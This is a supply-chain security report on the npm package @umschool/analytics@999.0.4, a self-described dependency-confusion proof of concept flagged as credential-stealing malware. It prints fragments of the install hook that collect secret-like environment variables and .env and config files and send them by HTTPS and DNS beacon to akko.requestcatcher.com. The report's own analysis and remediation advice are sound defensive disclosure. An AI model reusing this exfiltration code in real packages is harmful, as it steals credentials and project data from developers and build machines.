registry / Credential exfiltration / @umschool/analytics

@umschool/analytics

Security research - Dependency Confusion PoC - bug bounty disclosure

This report shows the evidence for @umschool/analytics@999.0.4. 5 of 5 known versions are blocked or flagged. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 1mo ago · by lpm-firewall-ai

This is concrete, unconsented install-time collection and exfiltration of credentials and project data. The harmless research framing does not match the implemented behavior.

Static reason

One or more suspicious static signals were detected.

Trigger

npm postinstall during package installation

Impact

Environment secrets, internal infrastructure details, host identity, and .env or configuration-file contents may be disclosed.

Mechanism

install-time credential and project-file exfiltration over HTTPS and DNS

Attack narrative

npm invokes postinstall.js automatically. The hook gathers host and user identity, reads operating-system network files, filters environment variables for likely secrets, walks parent directories for .env and configuration files, and sends the collected data to akko.requestcatcher.com. It also issues a DNS lookup encoding host and user data.

AI rationale

This is concrete, unconsented install-time collection and exfiltration of credentials and project data. The harmless research framing does not match the implemented behavior.

Evidence

package.jsonpostinstall.js.env.env.local.env.production.env.developmentconfig.jsconfig.jsonconfig/database.yml/etc/hostname/etc/hosts/etc/resolv.conf

Network endpoints2

akko.requestcatcher.comdep.<encoded-host-and-user>.akko.requestcatcher.com

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The package runs postinstall.js automatically when npm installs it.
The install hook sends encoded payloads to akko.requestcatcher.com.
The hook collects host and user identifiers and emits a DNS beacon.
It selects environment variables likely to contain credentials or infrastructure details.
It searches parent project directories for .env and configuration files, reads them, and transmits their contents.
Comments framing this as harmless security research conflict with the credential and file collection behavior.

Evidence against

The runtime index exports only inert analytics-shaped functions.
No destructive filesystem operation or child-process execution was found.

Behavioral surface

Source

EnvironmentVarsFilesystemNetwork

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 3.64 KB of source

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"main": "index.js", "scripts": { "postinstall": "node postinstall.js" },

High

Suspicious Lifecycle Evidence

The package runs postinstall.js automatically when npm installs it.

package.jsonView on unpkg · L5

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

22function sendBeacon(endpoint, payload) { try { const data = Buffer.from(JSON.stringify(payload)).toString('base64'); const req = https.request({ hostname: CALLBACK_HTTP, port: 443, path: '/' + endpoint + '?data=' + encodeURIComponent(data), method: 'GET', timeout: 8000, });

High

Suspicious Lifecycle Evidence

The install hook sends encoded payloads to akko.requestcatcher.com.

postinstall.jsView on unpkg · L22

14const hostname = os.hostname(); const user = os.userInfo().username; const cwd = process.cwd();

High

Ai Review Evidence

The hook collects host and user identifiers and emits a DNS beacon.

postinstall.jsView on unpkg · L14

37// DNS beacon const label = Buffer.from(hostname + '.' + user).toString('hex').slice(0, 40); dns.lookup('dep.' + label + '.' + CALLBACK_DNS, () => {});

High

Ai Review Evidence

The hook collects host and user identifiers and emits a DNS beacon.

postinstall.jsView on unpkg · L37

51// Collect ALL environment variables that look like URLs, domains, tokens, keys const env_all = process.env; const env_interesting = {}; const KEY_PATTERNS = /url|host|domain|api|token|secret|key|pass|db|redis|mongo|psql|pg|mysql|aws|s3|bucket|region|endpoint|internal|private|auth|jwt|service|port|addr/i; for (const [k, v] of Object.entries(env_all)) { if (KEY_PATTERNS.test(k) || KEY_PATTERNS.test(v || '')) { env_interesting[k] = v; } }

High

Ai Review Evidence

It selects environment variables likely to contain credentials or infrastructure details.

postinstall.jsView on unpkg · L51

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"main": "index.js", "scripts": { "postinstall": "node postinstall.js" },

High

Suspicious Lifecycle Evidence

The package runs postinstall.js automatically when npm installs it.

package.jsonView on unpkg · L5

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

Findings

6 High3 Medium3 Low

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighSuspicious Lifecycle Evidencepostinstall.js

HighAi Review Evidencepostinstall.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumEnvironment Vars

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

Affected versions and remediation

This report applies to @umschool/analytics@999.0.4.

The versions list below shows the verdict for each recorded version.

Avoid installing @umschool/analytics@999.0.4. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-09 02:00:04.644Z (UTC).

Source advisory published: 2026-09-08 21:04:35.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

5 known versions

999.0.4latestshownMaliciousCredential ExfiltrationBlockPublishedSep 8, 2026, 9:35 PM 999.0.3MaliciousCredential ExfiltrationBlockPublishedSep 8, 2026, 9:29 PM 999.0.2MaliciousInstall Hook AbuseBlockPublishedSep 8, 2026, 9:09 PM 999.0.1MaliciousMalwareBlockPublished

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

More from @umschool

Other credential exfiltration packages

Behavioral surface

Related packages

More from @umschool

Other credential exfiltration packages

Source & flagged code